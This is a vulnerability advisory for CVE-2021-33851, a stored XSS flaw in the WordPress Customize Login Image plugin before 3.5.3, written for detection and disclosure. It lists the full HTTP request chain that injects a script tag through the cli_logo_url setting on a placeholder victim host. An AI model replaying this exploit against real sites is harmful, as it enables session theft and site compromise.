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CVE-2021-33851: WordPress Customize Login Image <3.5.3 - Cross-Site Scripting

TitleWordPress Customize Login Image <3.5.3 - Cross-Site Scripting
Author8authur
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing an attacker to execute malicious scripts in the context of the victim's browser.
RemediationUpdate to the latest version of the WordPress Customize Login Image plugin (3.5.3) to mitigate the vulnerability.
CVSS Score5.4
EPSS Score0.07455
CVE IDCVE-2021-33851
CWE IDCWE-79
Tags cve cve2021 wpscan wordpress customize-login-image wp authenticated wp-plugin xss apasionados vuln

🔍 Vulnerability Description

WordPress Customize Login Image plugin prior to 3.5.3 contains a cross-site scripting vulnerability via the custom logo link on the Settings page. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=XILSoM&pwd=6C8ADO&wp-submit=Log+In
GET /wp-admin/options-general.php?page=customize-login-image/customize-login-image-options.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
Connection: close
Accept-Encoding: gzip
POST /wp-admin/options.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Content-Length: 348
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

option_page=customize-login-image-settings-group&action=update&_wpnonce=laseI9&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dcustomize-login-image%252Fcustomize-login-image-options.php%26settings-updated%3Dtrue&cli_logo_url=<script>alert(document.domain)</script>&cli_logo_file=&cli_login_background_color=&cli_custom_css=
GET /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-33851.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-33851.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A